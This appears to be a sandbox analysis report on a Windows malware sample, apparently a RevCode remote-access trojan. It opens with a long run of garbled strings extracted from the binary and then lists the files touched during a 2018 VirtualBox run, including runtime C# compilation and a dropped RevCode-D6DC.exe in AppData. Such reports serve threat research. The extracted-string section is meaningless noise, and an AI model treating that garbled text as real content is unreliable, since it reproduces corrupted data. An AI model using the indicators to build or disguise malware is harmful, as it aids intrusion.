WHRbR
P5Xc
"'2r
s=,c
H
08;`
BykA
Hv	c
T[W
QEG2#
FQK1
NslD
MMxn
B}42
h981?
/-rvcQ
fO
'k
a2F^
z"QkQ
~X"*
`r{5
DisposeSink
hDNe
>$?{
QQ
!
fBRg
^x,}i`
W}QG
UwD9
|!oRm
Rk|'m3y
CookieCultureInfoConverter
W~1nN=
-]V3xjl
eUWV
NW8pLi
V_-
TCN3Tt
T,b7
cKs|
U7s.@
1:|Z
6qd]
H%]*
Q@&k
y#jK
Party
Y`s2
?\t`
Y`s1
0TN&
MY9+
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
:9
&	$-X
ns;Z
Q5sWZ{
`zzj
{3#F
r"xQ
EnumerablePartitionerOptions
+i:|
^/~
ex@|pXh
CompileAssemblyFromSource
MHo]n
(lbT
y}Xsb
?I0T
N,KU
dtOL
L<YW
uHIee
\b'o
:UuoJ
"+Y%$
ICustomFormatter
+Q-A
;U|Z
4X5\
tYw6
cA=/
z ^9T
C{1p
4*lE
[D2'
5ctM4
]%4$@]
U$HUFHQ
@x@
9rF,u
KJ:,#F
;~^|
@t'W
Buj~
Uhp
=);n
04FP
hQLM
^r7F
~~ME
i
+]/eL
Sinh
IDAT"
;A),*
EventCacheKey
'wsd
O>=C
|Bm
?g]#M
633=MdQ
ss9[f
Z,:]
|-HHq{
zBMGr
aNJDx
,
lB`
'u{+
OxS
}=OGu\
B7>y
FKa_
z{JX
-:?53
F7_*
_=^|`
7\26
Kf89
2U#
_+f
*Fru
-z:%
9oSQ
#O-{[w
Next
Ct D
{j\L
Y(UHh
AQC1U
*kgW
@omy
k}|@l{m
Zl~9u
G)G9
udD]
(
.Hv>
A3
8
kzhc
{P\T
^sg
bC
Z
bwDl(
m!Ti
9QJ]
srUro
)q9=
CMethodIterator
(FrR
.Jh%
dXS,
`-(r
Z)qf
m&HX
4=@
nnw
[\0%
<WriteAsyncCore>d__41
gXYnQI
D4ws
)K6X
Lr[~
V0:RwS
bE/3>	k
[1bk
H!wv[
*oAi
K[Jp-
SB@j
V(3
3{~{X
\6SR
cOT}
DataSet
!`k7
KDlZk
Ez+>Z^"
||Xm^
}kR
v'[\
r:-
u9>G
""AJ
`cDQK
(c\L6
134
-kC+
"B\.A-go
?F3"
Exception
bBZ"
gn8)
dc\]
HRB/C
\b66
BitArrayEnumeratorSimple
[6#T
X`V@
Y h.X<
P+:\
^uyr\g7
i*d!
@
H'
s}]p
!VqJo
adr|q
~APvJ
IDATx^T
l`~	s^
=E~_
hEhM@
IAsyncResult
+4HU
E\z]^
xGds"
p:pj
T8hXt)
OMVk
{Ecm
){74
9z4
LF+ec7
Y29!"
&*vr
WNp^
v|:X,a
#ui$Q
>
@&p
rD6
j"&Z:h
y! N
NL/'
VxKw
s
_80w~u8
l)8:
nlrV
RUy2
}
)';
O+~M_@
D}&P
(BYTF
_HVl
sGoF
3zt3
uj^d
HpK8
NNqt
;+ch
GP14Z:
-M>
u+"N
.awvK
#qsB
wh~7
;0V@
%& 4
c]CZ
IDAT
@F^B!
wS+YI
`E3
j-{,i
6<'0
h8;`
Kh3j
rE
C
{rs5M
O9)f
Math
K}r
s#M
rk_:g
ReadKey
c"",B
_VXF
F`6V
]Gs9
BIDEXTINFO
3%76
W]w9
T]'I
vK{I92~
EmF$]9
&	o*
System.Runtime.CompilerServices
@\G3
a((
_hEt~
H}wV
R!HY
ytWD
A@'->
f5h:g#
<ji*;
{?b[$
IEND
; M+:.
0xwE
gzXFjt`
8]FO~
AWQ
(-@iF
=g9#
|{pn
F*|pe
set_CompilerOptions
m;9d
w^?9
T~h
7i!
Y\	7
Qoc8
kMw_
8pwS4S
#7K7y
(j
A
6%On?d
o*~S%^
$H4qJ"
-[>r
ya6:i
xxz=
:c(71fAFf
olE}&
uq9M
#(7
V-Ym
}CVU\HRR
_~}"
WG/E61]N
` Xj4
J:d4
r'<CC
TypeInformation
!8MBu
R/wE
t!AO
15F#
)i&
${1g
{HywG
7ZcZ
axl5
H	I5{
/*n
dsbm7_
:eO^
w1:
ZB$	\
bb]U
^8f
Af;S
j6u.
JTp8j
&-\t
)2>]
*xVX$|rK
<Module>
Nr_:
k<ES
Dv'
ZK_r
baa@:
z0aFi
P:rR
h@:
>TA6
,y@vxea
VV=R
9Z4&
yRfG
ls'm~
jA:1
VXW(
>P*_~m
#p2]
^cQy
)z4tbK
Ug.
ZqSq
9QX)se
6M.3@
@$<1G
ag%Z>
a6|W.:c
e"eI
4V7s
#&$""%2
5sOf
<;KphY
tv}u-
V\#u
-G[w
lL5
ccgi
v3KJ
,82 9
>4>
LO(K
^;7gu\
;ve.
#GUID
{{!n0
g,XB
AK[qvZ
3P	4
drink
_U>8
2dBdtON:
t'}0
eycv
0wC4Vh
vJ
k&*A
L',wT
==|9
PvB+
aDSf
A1GU
j:gf
(\\q
PRvf
MIv_
5[#/sH
I
{k
9a,i
WFanF
b?$M
SD_&Z
L]H&
PERF_INSTANCE_DEFINITION
pCD
Nullable`1
3Zyz>
zAKyVYGQ
9wDo
)X]
ssJ
L6cORr
jTxfrx
1L&+
#kHRX9
v]nJ
U1CG
Ylux
5"<%
S|g 
ck3:
zxn{HU
fmP.
@p' [
%C;((
`zt,
IuCZ
G7.GD
`jaDMiH
N#&H
Encoding
Jru~
s0
E+
8x-#
XS"/L
*s`)
g1-X
H'e
N_{k
Gv
>F
r\oNU
ESv]
&\S
m@4>
M1R7J
nvQ8[
v =(
`|
Ji:{
ag
g
8l`,
$Ko'
T>x
3xy+^y=t
x0w
rULAo
L
vq
ly6
M,{'5
0~h-
^
mh
ZP_
T
a2-B=A
pDAo
on|
Kt(TIIR
^W{;+
"o+K6
dDHIe
Replace
NH
w
*Fry
q`
3-
D97~`
9$k.
R2kK
xc"FT
k}\tt
CachedAsyncState
wkf[r-
&*vri
< Q
/9BU
Sqrt
CYjg
Atj
8(2K
gmR
-O
T
vD0]
r-U.
5LDT
l7N
M+R:&
5-Bt
^E@IQ eW
yV19
xwS]
7n/Fk^
_CERT_CONTEXT
3B-B
qerk
5_q;w
Xj)\
o22o
i"b{
}5x3
gz;W
p>S\
@esD
14#Q
z,Qe
,KF_
,FWx
BDE/L
DC,a
+?C
rZ5
mUs'
sFq/
eH\ym
OvL^#
rqj?e.@
sXC3
-jE=
4`']U
&Xe^U
Ea
2]
G
.enn
NCV,WM
^G
Y
U.u/y
y%/^
c~/k
_?j0k
z^r1
WriteLine
er"B
)v,|
~xP'
|uo%
n4H8
YIbo
U?s
Ghy_
p	pc
qh,*
"tKOW
xNEZ
7jx e
:m-V
[V>:
r{v,x
Ci;^
wyLI
a{52"G
.fa).H;
8	(07`tT
:}v&)
#A&,
9'm
)5&8($
^qkKM
!7II
rZX)
[V>_
HelpKeywordType
)w1Z
JxJvl?oC
]0sp
M!r,p
%l\r^
3[Q(ztXnfvBL
B#B2
b?Qy
Dr-{
7&?%,
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-04-23 13:32:08 2018-04-23 13:35:03 175

14 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-04-23 13:32:08 2018-04-23 13:35:03 175

11 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Seven01\AppData\Local\Temp\ban.exe.config
C:\Users\Seven01\AppData\Local\Temp\ban.exe
C:\Users\Seven01\AppData\Local\Temp\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\system\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\ProgramData\Oracle\Java\javapath\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\wbem\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\System32\WindowsPowerShell\v1.0\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
\Device\KsecDD
C:\Windows\assembly\NativeImages_v4.0.30319_32\wvYjLr4juOEc92fdec1#\*
C:\Users\Seven01\AppData\Local\Temp\ban.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol21.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\by314zfe.tmp
C:\Users\Seven01\AppData\Local\Temp\by314zfe.0.cs
C:\Users\Seven01\AppData\Local\Temp\by314zfe.dll
C:\Users\Seven01\AppData\Local\Temp\by314zfe.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
C:\Users\Seven01\AppData\Local\Temp\by314zfe.out
C:\Users\Seven01\AppData\Local\Temp\by314zfe.err
C:\Users\Seven01\AppData\Local\Temp\by314zfe.pdb
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Users\Seven01\AppData\Local\Temp\ban.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\it\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\GAC_64
C:\Windows\assembly\GAC_64\mscorlib.resources
C:\Windows\assembly\GAC_32
C:\Windows\assembly\GAC_32\mscorlib.resources
C:\Windows\assembly\GAC_MSIL
C:\Windows\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\*
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC
C:\Windows\assembly\GAC\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_64
C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_32
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC_MSIL
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\mscorlib.resources
C:\Windows\Microsoft.Net\assembly\GAC
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1040\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\0\cscui.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\System32\mscoree.dll.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Users\Seven01\AppData\Local\Temp\System.Management.dll
C:\Windows
C:\Windows\Microsoft.NET
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Users\Seven01\AppData\Local\Temp\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Users\Seven01\AppData\Local\Temp\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Users\Seven01\AppData\Local\Temp\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Users\Seven01\AppData\Local\Temp\CSCA6142ECCF3674536A7F165D12EA292E.TMP
C:\Users\Seven01\AppData\Local\Temp\RESB17D.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe.cfg
C:\Windows\sysnative\C_932.NLS
C:\Windows\sysnative\C_949.NLS
C:\Windows\sysnative\C_950.NLS
C:\Windows\sysnative\C_936.NLS
C:\
\??\Nsi
C:\Users\Seven01\AppData\Roaming\RevCode-D6DC.exe
C:\Windows\System32\p2pcollab.dll
C:\Windows\System32\qagentrt.dll
C:\Windows\System32\dnsapi.dll
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\*
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\*
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\*
C:\Users\Seven01\AppData\LocalLow
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabC572.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC573.tmp
C:\Users\Seven01\AppData\Local\Temp\
\DEVICE\NETBT_TCPIP_{C2D43895-0262-4873-A789-C2F96D24B693}
\DEVICE\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}
C:\Windows\System32\wbem\wbemdisp.tlb
C:\Windows\SysWOW64\stdole2.tlb
C:\Users\Seven01\AppData\Roaming\D9E102F7.bin
C:\Users\Seven01\AppData\Local\Temp\Cab3F77.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar3F78.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab41BB.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar41BC.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab423A.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar423B.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab42A9.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar42AA.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4319.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar431A.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4398.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4399.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4407.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4418.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4476.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4477.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab44E6.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar44E7.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4565.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4566.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab45D4.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar45D5.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4644.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4645.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab46B3.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar46B4.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4732.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4733.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab47A1.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar47B2.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab484F.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4850.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab48CE.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar48CF.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab494D.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar494E.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab49CC.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar49CD.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4A3C.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4A3D.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4C32.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4C33.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4CA1.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4CA2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC166.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC167.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC262.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC263.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC2C1.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC2C2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC340.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC341.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC3A0.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC3A1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC41F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC420.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC47F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC480.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC4EE.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC4EF.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC55E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC55F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC5CD.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC5CE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC62D.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC62E.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC69C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC69D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC6FC.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC6FD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC77B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC77C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC7EA.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC7EB.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC869.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC86A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC8C9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC8CA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC938.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC939.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC998.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC999.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCA27.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCA28.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCB90.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCB91.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCC0F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCC10.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab24C0.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar24C1.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab281E.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar281F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB4FE.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB4FF.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB6E4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB6E5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB763.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB764.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB7E2.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB7E3.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB852.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB853.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB8E0.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB8E1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB950.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB951.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB9CF.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB9D0.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBA3E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBA3F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBABD.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBABE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBC9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBBCA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC48.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC49.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC7.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBCC8.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD36.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBD37.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBDC5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBDC6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBE44.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBE45.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBEC3.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBEC4.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBF42.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBF43.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBFC1.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBFC2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC05F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC060.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE6C5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarE6C6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE754.tmp
C:\Users\Seven01\AppData\Local\Temp\TarE755.tmp
C:\Windows\sysnative\wbem\WmiPrvSE.exe
C:\Windows\inf\hdaudio.inf
C:\Windows\sysnative\DriverStore\it-IT\hdaudio.inf_loc
C:\Windows\inf\hdaudio.PNF
\??\PIPE\samr
C:\DosDevices\pipe\
C:\Windows\sysnative\wbem\repository
C:\Windows\sysnative\wbem\Logs
C:\Windows\sysnative\wbem\AutoRecover
C:\Windows\sysnative\wbem\MOF
C:\Windows\sysnative\wbem\repository\INDEX.BTR
C:\Windows\sysnative\wbem\repository\WRITABLE.TST
